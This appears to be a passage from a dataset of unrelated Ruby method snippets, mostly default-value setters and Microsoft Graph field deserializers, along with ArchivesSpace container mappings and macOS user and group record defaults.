request[\"instance_container_child_indicator_#{instance_count}\"] = container['indicator_2']\n request[\"instance_container_grandchild_type_#{instance_count}\"] = container['type_3']\n request[\"instance_container_child_type_#{instance_count}\"] = container['type_2']\n request[\"instance_container_last_modified_by_#{instance_count}\"] = container['last_modified_by']\n request[\"instance_container_created_by_#{instance_count}\"] = container['created_by']\n\n top_container = container['top_container']\n return request unless top_container\n\n request[\"instance_top_container_ref_#{instance_count}\"] = top_container['ref']\n\n top_container_resolved = top_container['_resolved']\n return request unless top_container_resolved\n\n request[\"instance_top_container_long_display_string_#{instance_count}\"] = top_container_resolved['long_display_string']\n request[\"instance_top_container_last_modified_by_#{instance_count}\"] = top_container_resolved['last_modified_by']\n request[\"instance_top_container_display_string_#{instance_count}\"] = top_container_resolved['display_string']\n request[\"instance_top_container_restricted_#{instance_count}\"] = top_container_resolved['restricted']\n request[\"instance_top_container_created_by_#{instance_count}\"] = top_container_resolved['created_by']\n request[\"instance_top_container_indicator_#{instance_count}\"] = top_container_resolved['indicator']\n request[\"instance_top_container_barcode_#{instance_count}\"] = top_container_resolved['barcode']\n request[\"instance_top_container_type_#{instance_count}\"] = top_container_resolved['type']\n request[\"instance_top_container_uri_#{instance_count}\"] = top_container_resolved['uri']\n\n if (top_container_resolved['container_locations'])\n request[\"instance_top_container_location_note_#{instance_count}\"] = top_container_resolved['container_locations'].map{ |l| l['note']}.join{';'}\n end\n\n request[\"requestable_#{instance_count}\"] = (top_container_resolved['active_restrictions'] || [])\n .map{ |ar| ar['local_access_restriction_type'] }\n .flatten.uniq\n .select{ |ar| (self.repo_settings[:hide_button_for_access_restriction_types] || []).include?(ar)}\n .empty?\n\n locations = top_container_resolved[\"container_locations\"]\n if locations.any?\n location_id = locations.sort_by { |l| l[\"start_date\"]}.last()[\"ref\"]\n location = archivesspace.get_location(location_id)\n request[\"instance_top_container_location_#{instance_count}\"] = location['title']\n request[\"instance_top_container_location_id_#{instance_count}\"] = location_id\n request[\"instance_top_container_location_building_#{instance_count}\"] = location['building']\n end\n\n collection = top_container_resolved['collection']\n if collection\n request[\"instance_top_container_collection_identifier_#{instance_count}\"] = collection\n .select { |c| c['identifier'].present? }\n .map { |c| c['identifier'] }\n .join(\"; \")\n\n request[\"instance_top_container_collection_display_string_#{instance_count}\"] = collection\n .select { |c| c['display_string'].present? }\n .map { |c| c['display_string'] }\n .join(\"; \")\n end\n\n series = top_container_resolved['series']\n if series\n request[\"instance_top_container_series_identifier_#{instance_count}\"] = series\n .select { |s| s['identifier'].present? }\n .map { |s| s['identifier'] }\n .join(\"; \")\n\n request[\"instance_top_container_series_display_string_#{instance_count}\"] = series\n .select { |s| s['display_string'].present? }\n .map { |s| s['display_string'] }\n .join(\"; \")\n\n end\n\n request\n }\n\n mappings\n end", "def with_defaults(other_hash); end", "def call\n add_fields(unrecognised: true)\n end", "def as_json(options={})\n # translating this schema to match the FB one as much as possible\n super.tap do |json|\n json[\"ad_creation_time\"] = json.delete(\"created_at\")\n json[\"text\"] = json.delete(\"message\") # TODO: remove HTML tags\n json[\"funding_entity\"] = json[\"paid_for_by\"]\n # what if page_id doesn't exist?!\n# json[\"page_id\"] \n json[\"start_date\"] = json.delete(\"created_at\")\n json = json.merge(json)\n end\n end", "def defaults(data)\n records = all_records(@node)\n next_uid = next_id(MIN_UID, get_all_attribs_of_type(:uid, records))\n defaults = {\n 'realname' => [\"#{data['name'].first}\"],\n 'uid' => [\"#{next_uid}\"], \n 'home' => [\"/Users/#{data['name'].first}\"],\n 'shell' => ['/bin/bash'],\n 'gid' => ['20'],\n 'passwd' => ['********'],\n 'comment' => [''],\n }\n super defaults.merge(data)\n end", "def get_field_deserializers()\n return super.merge({\n \"additionalTags\" => lambda {|n| @additional_tags = n.get_collection_of_primitive_values(String) },\n \"contentWebUrl\" => lambda {|n| @content_web_url = n.get_string_value() },\n \"contributors\" => lambda {|n| @contributors = n.get_collection_of_primitive_values(String) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"duration\" => lambda {|n| @duration = n.get_duration_value() },\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"format\" => lambda {|n| @format = n.get_string_value() },\n \"isActive\" => lambda {|n| @is_active = n.get_boolean_value() },\n \"isPremium\" => lambda {|n| @is_premium = n.get_boolean_value() },\n \"isSearchable\" => lambda {|n| @is_searchable = n.get_boolean_value() },\n \"languageTag\" => lambda {|n| @language_tag = n.get_string_value() },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"numberOfPages\" => lambda {|n| @number_of_pages = n.get_number_value() },\n \"skillTags\" => lambda {|n| @skill_tags = n.get_collection_of_primitive_values(String) },\n \"sourceName\" => lambda {|n| @source_name = n.get_string_value() },\n \"thumbnailWebUrl\" => lambda {|n| @thumbnail_web_url = n.get_string_value() },\n \"title\" => lambda {|n| @title = n.get_string_value() },\n })\n end", "def as_default(params={})\n params.symbolize_keys!\n\n base = info_hash\n\n if params[:include_data] || params[:data]\n base[:data] = data.as_json\n end\n\n if params[:include_schema] || params[:schema]\n base[:schema] = schema_map(!!(params[:include_schema] == \"full\"))\n end\n\n if params[:include_documentation] || params[:documentation]\n base[:documentation] = render_documentation\n end\n\n if params[:include_models] || params[:models]\n model_settings = {\n docs_path: docs_path\n }\n\n %w(urls content rendered attachments).each do |opt|\n model_settings[opt.to_sym] = !!(params[opt.to_sym] || params[\"include_#{opt}\".to_sym])\n end\n\n all = all_models.compact\n\n base[:models] = all.map do |m|\n m.document.refresh! if params[:refresh_models]\n m.as_json(model_settings)\n end\n end\n\n base\n end", "def get_field_deserializers()\n return super.merge({\n \"certificateData\" => lambda {|n| @certificate_data = n.get_string_value() },\n \"developerId\" => lambda {|n| @developer_id = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_string_value() },\n \"serviceId\" => lambda {|n| @service_id = n.get_string_value() },\n })\n end", "def set_default_attributes\n self.attributes = default_attributes\n self.attributes.each do |key, value|\n # Scrub the attributes if there's no value\n attr_clean!(key) unless value\n end\n end", "def use_default_customizations!\n DEFAULT_CUSTOMIZATIONS.each_pair do |field, default_value|\n send(\"#{field}=\".to_sym, default_value)\n end\n DEFAULT_COLORS.each_key do |field|\n send(\"color_#{field}=\".to_sym, nil)\n end\n save\n end", "def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"file\" => lambda {|n| @file = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"fileHash\" => lambda {|n| @file_hash = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end", "def default_options; {} end", "def pre_initialize_fields\n end", "def get_field_deserializers()\n return super.merge({\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"dataType\" => lambda {|n| @data_type = n.get_string_value() },\n \"isSyncedFromOnPremises\" => lambda {|n| @is_synced_from_on_premises = n.get_boolean_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"targetObjects\" => lambda {|n| @target_objects = n.get_collection_of_primitive_values(String) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"clientId\" => lambda {|n| @client_id = n.get_string_value() },\n \"consentType\" => lambda {|n| @consent_type = n.get_string_value() },\n \"principalId\" => lambda {|n| @principal_id = n.get_string_value() },\n \"resourceId\" => lambda {|n| @resource_id = n.get_string_value() },\n \"scope\" => lambda {|n| @scope = n.get_string_value() },\n })\n end", "def apply_defaults_for_new_item( defaults, payload )\n\n # merge in defaults\n defaults.each { |k, v|\n\n case k\n\n when :admin_notes\n next if v.blank?\n\n # create the admin notes for this item\n original_create_date = payload[ :create_date ]\n time_now = CurationConcerns::TimeService.time_in_utc.strftime( \"%Y-%m-%d %H:%M:%S\" )\n notes = \"#{DateTime.now} | #{v.gsub( 'LIBRA1_CREATE_DATE', original_create_date ).gsub( 'CURRENT_DATE', time_now )}\"\n payload[ k ] = [ notes ]\n\n when :default_embargo_type\n if payload[ :embargo_type ].blank?\n payload[ :embargo_type ] = v\n end\n\n when :force_embargo_period\n payload[ :embargo_period ] = v\n if payload[ :issued ]\n payload[ :embargo_release_date ] = IngestHelpers.calculate_embargo_release_date( payload[ :issued ], v )\n else\n payload[ :embargo_release_date ] = GenericWork.calculate_embargo_release_date( v )\n end\n\n else\n if payload.key?( k ) == false\n payload[ k ] = v\n end\n end\n }\n\n return payload\n end", "def init_with_empty\n new({\"name\" => \"\", \"dob\" => \"\", \"maritalStatus\" => \"\", \"mobileNumber\" => \"\", \"email\" => \"\"})\n end", "def the_json_field(field_key, default_val = '')\n r = JSON.parse(object.get_field(field_key, default_val) || '{}').with_indifferent_access\n r.keys.each do |k|\n r[k] = h.do_shortcode(r[k].to_s.translate(@_deco_locale), object)\n end\n r\n end", "def defaults(data)\n records = all_records(@node)\n next_gid = next_id(MIN_GID, get_all_attribs_of_type(:gid, records))\n defaults = {\n 'realname' => [\"#{data['name'].first.capitalize}\"],\n 'gid' => [\"#{next_gid}\"],\n 'passwd' => ['*'],\n 'groupmembers' => [],\n 'users' => [],\n }\n super defaults.merge(data)\n end", "def get_field_deserializers()\n return super.merge({\n \"applicationId\" => lambda {|n| @application_id = n.get_string_value() },\n \"changeType\" => lambda {|n| @change_type = n.get_string_value() },\n \"clientState\" => lambda {|n| @client_state = n.get_string_value() },\n \"creatorId\" => lambda {|n| @creator_id = n.get_string_value() },\n \"encryptionCertificate\" => lambda {|n| @encryption_certificate = n.get_string_value() },\n \"encryptionCertificateId\" => lambda {|n| @encryption_certificate_id = n.get_string_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"includeResourceData\" => lambda {|n| @include_resource_data = n.get_boolean_value() },\n \"latestSupportedTlsVersion\" => lambda {|n| @latest_supported_tls_version = n.get_string_value() },\n \"lifecycleNotificationUrl\" => lambda {|n| @lifecycle_notification_url = n.get_string_value() },\n \"notificationQueryOptions\" => lambda {|n| @notification_query_options = n.get_string_value() },\n \"notificationUrl\" => lambda {|n| @notification_url = n.get_string_value() },\n \"notificationUrlAppId\" => lambda {|n| @notification_url_app_id = n.get_string_value() },\n \"resource\" => lambda {|n| @resource = n.get_string_value() },\n })\n end", "def default_values\n if self.code.blank?\n self.code = get_unique_pmu_code\n self.confirmed = false\n end\n end", "def get_field_deserializers()\n return super.merge({\n \"contentData\" => lambda {|n| @content_data = n.get_string_value() },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n })\n end", "def set_default_values\n # Ethernet configuration\n self.network_1_id ||= 1\n self.ethernet_ip_assignment_method_id ||=1\n # GRPS\n self.gprs_mtu ||= 1450\n # PSTN\n self.pstn_mtu ||= 1500\n # Time configuration\n self.time_zone ||= 'UTC'\n # Interval configuration\n self.configuration_update_interval ||= 3600\n self.status_interval ||= 3600\n self.send_data_interval ||= 86400\n # Software update configuration\n self.auto_update ||= false\n self.software_update_interval ||= 604800\n self.repo_type ||= 'stable'\n # Log configuration\n self.send_log_files ||= false\n # State XML\n self.state_xml ||= \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<modified>true</modified>\\n\"\n end", "def get_field_deserializers()\n return super.merge({\n \"capability\" => lambda {|n| @capability = n.get_string_value() },\n \"providerId\" => lambda {|n| @provider_id = n.get_string_value() },\n \"providerName\" => lambda {|n| @provider_name = n.get_string_value() },\n \"providerResourceId\" => lambda {|n| @provider_resource_id = n.get_string_value() },\n \"uri\" => lambda {|n| @uri = n.get_string_value() },\n })\n end", "def info_defaults\n [:dn, :email, :firstName, :lastName, :fullName, :citizenshipStatus,\n :country, :grantBy, :organizations, :uid, :dutyorg, :visas,\n :affiliations]\n end", "def complete_defaults(hash)\n ok, values = @validator.convert_and_validate(*collect_on_hash(hash))\n @args.each_with_index {|arg, i| hash[arg] = values[i]}\n end", "def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"templateId\" => lambda {|n| @template_id = n.get_string_value() },\n \"values\" => lambda {|n| @values = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::SettingValue.create_from_discriminator_value(pn) }) },\n })\n end", "def default_data_options\n {}\n end", "def preset_default_values( params_hash = {} )\n # XXX AmbGest 1.10 does not have a Firm entity:\n# unless self.firm\n# begin\n# if self.user_id and (default_firm_id = LeUser.find(self.user_id).firm_id)\n# self.firm_id = default_firm_id\n# end\n# rescue\n# self.firm_id = nil\n# end\n# end\n # Set default date for this entry:\n# self.date_last_met = Time.now unless self.date_last_met\n self\n end", "def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"nextExpectedRanges\" => lambda {|n| @next_expected_ranges = n.get_collection_of_primitive_values(String) },\n })\n end", "def populate_empty_fields\n self.instance_storage ||= database_client.allocated_storage\n self.instance_class ||= database_client.flavor_id\n self.multi_az ||= database_client.multi_az\n self.availability_zone ||= database_client.availability_zone\n # The following fields can't be modify\n self.username = database_client.master_username\n self.db_type = database_client.engine\n # The following fields aren't modify by agi yet\n self.engine_version = database_client.engine_version\n self.db_name = database_client.db_name\n self.parameter_group = database_client.db_parameter_groups.first.attributes[\"DBParameterGroupName\"]\n end", "def get_field_deserializers()\n return super.merge({\n \"accountBlockModification\" => lambda {|n| @account_block_modification = n.get_boolean_value() },\n \"activationLockAllowWhenSupervised\" => lambda {|n| @activation_lock_allow_when_supervised = n.get_boolean_value() },\n \"airDropBlocked\" => lambda {|n| @air_drop_blocked = n.get_boolean_value() },\n \"airDropForceUnmanagedDropTarget\" => lambda {|n| @air_drop_force_unmanaged_drop_target = n.get_boolean_value() },\n \"airPlayForcePairingPasswordForOutgoingRequests\" => lambda {|n| @air_play_force_pairing_password_for_outgoing_requests = n.get_boolean_value() },\n \"appStoreBlockAutomaticDownloads\" => lambda {|n| @app_store_block_automatic_downloads = n.get_boolean_value() },\n \"appStoreBlockInAppPurchases\" => lambda {|n| @app_store_block_in_app_purchases = n.get_boolean_value() },\n \"appStoreBlockUIAppInstallation\" => lambda {|n| @app_store_block_u_i_app_installation = n.get_boolean_value() },\n \"appStoreBlocked\" => lambda {|n| @app_store_blocked = n.get_boolean_value() },\n \"appStoreRequirePassword\" => lambda {|n| @app_store_require_password = n.get_boolean_value() },\n \"appleNewsBlocked\" => lambda {|n| @apple_news_blocked = n.get_boolean_value() },\n \"appleWatchBlockPairing\" => lambda {|n| @apple_watch_block_pairing = n.get_boolean_value() },\n \"appleWatchForceWristDetection\" => lambda {|n| @apple_watch_force_wrist_detection = n.get_boolean_value() },\n \"appsSingleAppModeList\" => lambda {|n| @apps_single_app_mode_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AppListItem.create_from_discriminator_value(pn) }) },\n \"appsVisibilityList\" => lambda {|n| @apps_visibility_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AppListItem.create_from_discriminator_value(pn) }) },\n \"appsVisibilityListType\" => lambda {|n| @apps_visibility_list_type = n.get_enum_value(MicrosoftGraph::Models::AppListType) },\n \"bluetoothBlockModification\" => lambda {|n| @bluetooth_block_modification = n.get_boolean_value() },\n \"cameraBlocked\" => lambda {|n| @camera_blocked = n.get_boolean_value() },\n \"cellularBlockDataRoaming\" => lambda {|n| @cellular_block_data_roaming = n.get_boolean_value() },\n \"cellularBlockGlobalBackgroundFetchWhileRoaming\" => lambda {|n| @cellular_block_global_background_fetch_while_roaming = n.get_boolean_value() },\n \"cellularBlockPerAppDataModification\" => lambda {|n| @cellular_block_per_app_data_modification = n.get_boolean_value() },\n \"cellularBlockPersonalHotspot\" => lambda {|n| @cellular_block_personal_hotspot = n.get_boolean_value() },\n \"cellularBlockVoiceRoaming\" => lambda {|n| @cellular_block_voice_roaming = n.get_boolean_value() },\n \"certificatesBlockUntrustedTlsCertificates\" => lambda {|n| @certificates_block_untrusted_tls_certificates = n.get_boolean_value() },\n \"classroomAppBlockRemoteScreenObservation\" => lambda {|n| @classroom_app_block_remote_screen_observation = n.get_boolean_value() },\n \"classroomAppForceUnpromptedScreenObservation\" => lambda {|n| @classroom_app_force_unprompted_screen_observation = n.get_boolean_value() },\n \"compliantAppListType\" => lambda {|n| @compliant_app_list_type = n.get_enum_value(MicrosoftGraph::Models::AppListType) },\n \"compliantAppsList\" => lambda {|n| @compliant_apps_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AppListItem.create_from_discriminator_value(pn) }) },\n \"configurationProfileBlockChanges\" => lambda {|n| @configuration_profile_block_changes = n.get_boolean_value() },\n \"definitionLookupBlocked\" => lambda {|n| @definition_lookup_blocked = n.get_boolean_value() },\n \"deviceBlockEnableRestrictions\" => lambda {|n| @device_block_enable_restrictions = n.get_boolean_value() },\n \"deviceBlockEraseContentAndSettings\" => lambda {|n| @device_block_erase_content_and_settings = n.get_boolean_value() },\n \"deviceBlockNameModification\" => lambda {|n| @device_block_name_modification = n.get_boolean_value() },\n \"diagnosticDataBlockSubmission\" => lambda {|n| @diagnostic_data_block_submission = n.get_boolean_value() },\n \"diagnosticDataBlockSubmissionModification\" => lambda {|n| @diagnostic_data_block_submission_modification = n.get_boolean_value() },\n \"documentsBlockManagedDocumentsInUnmanagedApps\" => lambda {|n| @documents_block_managed_documents_in_unmanaged_apps = n.get_boolean_value() },\n \"documentsBlockUnmanagedDocumentsInManagedApps\" => lambda {|n| @documents_block_unmanaged_documents_in_managed_apps = n.get_boolean_value() },\n \"emailInDomainSuffixes\" => lambda {|n| @email_in_domain_suffixes = n.get_collection_of_primitive_values(String) },\n \"enterpriseAppBlockTrust\" => lambda {|n| @enterprise_app_block_trust = n.get_boolean_value() },\n \"enterpriseAppBlockTrustModification\" => lambda {|n| @enterprise_app_block_trust_modification = n.get_boolean_value() },\n \"faceTimeBlocked\" => lambda {|n| @face_time_blocked = n.get_boolean_value() },\n \"findMyFriendsBlocked\" => lambda {|n| @find_my_friends_blocked = n.get_boolean_value() },\n \"gameCenterBlocked\" => lambda {|n| @game_center_blocked = n.get_boolean_value() },\n \"gamingBlockGameCenterFriends\" => lambda {|n| @gaming_block_game_center_friends = n.get_boolean_value() },\n \"gamingBlockMultiplayer\" => lambda {|n| @gaming_block_multiplayer = n.get_boolean_value() },\n \"hostPairingBlocked\" => lambda {|n| @host_pairing_blocked = n.get_boolean_value() },\n \"iBooksStoreBlockErotica\" => lambda {|n| @i_books_store_block_erotica = n.get_boolean_value() },\n \"iBooksStoreBlocked\" => lambda {|n| @i_books_store_blocked = n.get_boolean_value() },\n \"iCloudBlockActivityContinuation\" => lambda {|n| @i_cloud_block_activity_continuation = n.get_boolean_value() },\n \"iCloudBlockBackup\" => lambda {|n| @i_cloud_block_backup = n.get_boolean_value() },\n \"iCloudBlockDocumentSync\" => lambda {|n| @i_cloud_block_document_sync = n.get_boolean_value() },\n \"iCloudBlockManagedAppsSync\" => lambda {|n| @i_cloud_block_managed_apps_sync = n.get_boolean_value() },\n \"iCloudBlockPhotoLibrary\" => lambda {|n| @i_cloud_block_photo_library = n.get_boolean_value() },\n \"iCloudBlockPhotoStreamSync\" => lambda {|n| @i_cloud_block_photo_stream_sync = n.get_boolean_value() },\n \"iCloudBlockSharedPhotoStream\" => lambda {|n| @i_cloud_block_shared_photo_stream = n.get_boolean_value() },\n \"iCloudRequireEncryptedBackup\" => lambda {|n| @i_cloud_require_encrypted_backup = n.get_boolean_value() },\n \"iTunesBlockExplicitContent\" => lambda {|n| @i_tunes_block_explicit_content = n.get_boolean_value() },\n \"iTunesBlockMusicService\" => lambda {|n| @i_tunes_block_music_service = n.get_boolean_value() },\n \"iTunesBlockRadio\" => lambda {|n| @i_tunes_block_radio = n.get_boolean_value() },\n \"keyboardBlockAutoCorrect\" => lambda {|n| @keyboard_block_auto_correct = n.get_boolean_value() },\n \"keyboardBlockDictation\" => lambda {|n| @keyboard_block_dictation = n.get_boolean_value() },\n \"keyboardBlockPredictive\" => lambda {|n| @keyboard_block_predictive = n.get_boolean_value() },\n \"keyboardBlockShortcuts\" => lambda {|n| @keyboard_block_shortcuts = n.get_boolean_value() },\n \"keyboardBlockSpellCheck\" => lambda {|n| @keyboard_block_spell_check = n.get_boolean_value() },\n \"kioskModeAllowAssistiveSpeak\" => lambda {|n| @kiosk_mode_allow_assistive_speak = n.get_boolean_value() },\n \"kioskModeAllowAssistiveTouchSettings\" => lambda {|n| @kiosk_mode_allow_assistive_touch_settings = n.get_boolean_value() },\n \"kioskModeAllowAutoLock\" => lambda {|n| @kiosk_mode_allow_auto_lock = n.get_boolean_value() },\n \"kioskModeAllowColorInversionSettings\" => lambda {|n| @kiosk_mode_allow_color_inversion_settings = n.get_boolean_value() },\n \"kioskModeAllowRingerSwitch\" => lambda {|n| @kiosk_mode_allow_ringer_switch = n.get_boolean_value() },\n \"kioskModeAllowScreenRotation\" => lambda {|n| @kiosk_mode_allow_screen_rotation = n.get_boolean_value() },\n \"kioskModeAllowSleepButton\" => lambda {|n| @kiosk_mode_allow_sleep_button = n.get_boolean_value() },\n \"kioskModeAllowTouchscreen\" => lambda {|n| @kiosk_mode_allow_touchscreen = n.get_boolean_value() },\n \"kioskModeAllowVoiceOverSettings\" => lambda {|n| @kiosk_mode_allow_voice_over_settings = n.get_boolean_value() },\n \"kioskModeAllowVolumeButtons\" => lambda {|n| @kiosk_mode_allow_volume_buttons = n.get_boolean_value() },\n \"kioskModeAllowZoomSettings\" => lambda {|n| @kiosk_mode_allow_zoom_settings = n.get_boolean_value() },\n \"kioskModeAppStoreUrl\" => lambda {|n| @kiosk_mode_app_store_url = n.get_string_value() },\n \"kioskModeBuiltInAppId\" => lambda {|n| @kiosk_mode_built_in_app_id = n.get_string_value() },\n \"kioskModeManagedAppId\" => lambda {|n| @kiosk_mode_managed_app_id = n.get_string_value() },\n \"kioskModeRequireAssistiveTouch\" => lambda {|n| @kiosk_mode_require_assistive_touch = n.get_boolean_value() },\n \"kioskModeRequireColorInversion\" => lambda {|n| @kiosk_mode_require_color_inversion = n.get_boolean_value() },\n \"kioskModeRequireMonoAudio\" => lambda {|n| @kiosk_mode_require_mono_audio = n.get_boolean_value() },\n \"kioskModeRequireVoiceOver\" => lambda {|n| @kiosk_mode_require_voice_over = n.get_boolean_value() },\n \"kioskModeRequireZoom\" => lambda {|n| @kiosk_mode_require_zoom = n.get_boolean_value() },\n \"lockScreenBlockControlCenter\" => lambda {|n| @lock_screen_block_control_center = n.get_boolean_value() },\n \"lockScreenBlockNotificationView\" => lambda {|n| @lock_screen_block_notification_view = n.get_boolean_value() },\n \"lockScreenBlockPassbook\" => lambda {|n| @lock_screen_block_passbook = n.get_boolean_value() },\n \"lockScreenBlockTodayView\" => lambda {|n| @lock_screen_block_today_view = n.get_boolean_value() },\n \"mediaContentRatingApps\" => lambda {|n| @media_content_rating_apps = n.get_enum_value(MicrosoftGraph::Models::RatingAppsType) },\n \"mediaContentRatingAustralia\" => lambda {|n| @media_content_rating_australia = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingAustralia.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingCanada\" => lambda {|n| @media_content_rating_canada = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingCanada.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingFrance\" => lambda {|n| @media_content_rating_france = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingFrance.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingGermany\" => lambda {|n| @media_content_rating_germany = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingGermany.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingIreland\" => lambda {|n| @media_content_rating_ireland = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingIreland.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingJapan\" => lambda {|n| @media_content_rating_japan = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingJapan.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingNewZealand\" => lambda {|n| @media_content_rating_new_zealand = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingNewZealand.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingUnitedKingdom\" => lambda {|n| @media_content_rating_united_kingdom = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingUnitedKingdom.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingUnitedStates\" => lambda {|n| @media_content_rating_united_states = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingUnitedStates.create_from_discriminator_value(pn) }) },\n \"messagesBlocked\" => lambda {|n| @messages_blocked = n.get_boolean_value() },\n \"networkUsageRules\" => lambda {|n| @network_usage_rules = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::IosNetworkUsageRule.create_from_discriminator_value(pn) }) },\n \"notificationsBlockSettingsModification\" => lambda {|n| @notifications_block_settings_modification = n.get_boolean_value() },\n \"passcodeBlockFingerprintModification\" => lambda {|n| @passcode_block_fingerprint_modification = n.get_boolean_value() },\n \"passcodeBlockFingerprintUnlock\" => lambda {|n| @passcode_block_fingerprint_unlock = n.get_boolean_value() },\n \"passcodeBlockModification\" => lambda {|n| @passcode_block_modification = n.get_boolean_value() },\n \"passcodeBlockSimple\" => lambda {|n| @passcode_block_simple = n.get_boolean_value() },\n \"passcodeExpirationDays\" => lambda {|n| @passcode_expiration_days = n.get_number_value() },\n \"passcodeMinimumCharacterSetCount\" => lambda {|n| @passcode_minimum_character_set_count = n.get_number_value() },\n \"passcodeMinimumLength\" => lambda {|n| @passcode_minimum_length = n.get_number_value() },\n \"passcodeMinutesOfInactivityBeforeLock\" => lambda {|n| @passcode_minutes_of_inactivity_before_lock = n.get_number_value() },\n \"passcodeMinutesOfInactivityBeforeScreenTimeout\" => lambda {|n| @passcode_minutes_of_inactivity_before_screen_timeout = n.get_number_value() },\n \"passcodePreviousPasscodeBlockCount\" => lambda {|n| @passcode_previous_passcode_block_count = n.get_number_value() },\n \"passcodeRequired\" => lambda {|n| @passcode_required = n.get_boolean_value() },\n \"passcodeRequiredType\" => lambda {|n| @passcode_required_type = n.get_enum_value(MicrosoftGraph::Models::RequiredPasswordType) },\n \"passcodeSignInFailureCountBeforeWipe\" => lambda {|n| @passcode_sign_in_failure_count_before_wipe = n.get_number_value() },\n \"podcastsBlocked\" => lambda {|n| @podcasts_blocked = n.get_boolean_value() },\n \"safariBlockAutofill\" => lambda {|n| @safari_block_autofill = n.get_boolean_value() },\n \"safariBlockJavaScript\" => lambda {|n| @safari_block_java_script = n.get_boolean_value() },\n \"safariBlockPopups\" => lambda {|n| @safari_block_popups = n.get_boolean_value() },\n \"safariBlocked\" => lambda {|n| @safari_blocked = n.get_boolean_value() },\n \"safariCookieSettings\" => lambda {|n| @safari_cookie_settings = n.get_enum_value(MicrosoftGraph::Models::WebBrowserCookieSettings) },\n \"safariManagedDomains\" => lambda {|n| @safari_managed_domains = n.get_collection_of_primitive_values(String) },\n \"safariPasswordAutoFillDomains\" => lambda {|n| @safari_password_auto_fill_domains = n.get_collection_of_primitive_values(String) },\n \"safariRequireFraudWarning\" => lambda {|n| @safari_require_fraud_warning = n.get_boolean_value() },\n \"screenCaptureBlocked\" => lambda {|n| @screen_capture_blocked = n.get_boolean_value() },\n \"siriBlockUserGeneratedContent\" => lambda {|n| @siri_block_user_generated_content = n.get_boolean_value() },\n \"siriBlocked\" => lambda {|n| @siri_blocked = n.get_boolean_value() },\n \"siriBlockedWhenLocked\" => lambda {|n| @siri_blocked_when_locked = n.get_boolean_value() },\n \"siriRequireProfanityFilter\" => lambda {|n| @siri_require_profanity_filter = n.get_boolean_value() },\n \"spotlightBlockInternetResults\" => lambda {|n| @spotlight_block_internet_results = n.get_boolean_value() },\n \"voiceDialingBlocked\" => lambda {|n| @voice_dialing_blocked = n.get_boolean_value() },\n \"wallpaperBlockModification\" => lambda {|n| @wallpaper_block_modification = n.get_boolean_value() },\n \"wiFiConnectOnlyToConfiguredNetworks\" => lambda {|n| @wi_fi_connect_only_to_configured_networks = n.get_boolean_value() },\n })\n end", "def default_options\n # {}\n end", "def as_json(options={})\n options[:except] ||= @@secure_fields\n super(options)\n end", "def as_json(options={})\n options[:except] ||= @@secure_fields\n super(options)\n end", "def set_default_values\n @mappings ||= {}\n @attr_methods ||= []\n @search_mappings ||= {}\n @value_blocks ||= {}\n @missing_blocks ||= {}\n @primary_key ||= :id\n end", "def initialize(source_hash = nil, default = nil, api = nil, &blk)\n @api = api if api\n @json = source_hash\n super(source_hash, default, &blk)\n end", "def get_field_deserializers()\n return super.merge({\n \"bitLockerEnabled\" => lambda {|n| @bit_locker_enabled = n.get_boolean_value() },\n \"codeIntegrityEnabled\" => lambda {|n| @code_integrity_enabled = n.get_boolean_value() },\n \"earlyLaunchAntiMalwareDriverEnabled\" => lambda {|n| @early_launch_anti_malware_driver_enabled = n.get_boolean_value() },\n \"osMaximumVersion\" => lambda {|n| @os_maximum_version = n.get_string_value() },\n \"osMinimumVersion\" => lambda {|n| @os_minimum_version = n.get_string_value() },\n \"passwordBlockSimple\" => lambda {|n| @password_block_simple = n.get_boolean_value() },\n \"passwordExpirationDays\" => lambda {|n| @password_expiration_days = n.get_number_value() },\n \"passwordMinimumCharacterSetCount\" => lambda {|n| @password_minimum_character_set_count = n.get_number_value() },\n \"passwordMinimumLength\" => lambda {|n| @password_minimum_length = n.get_number_value() },\n 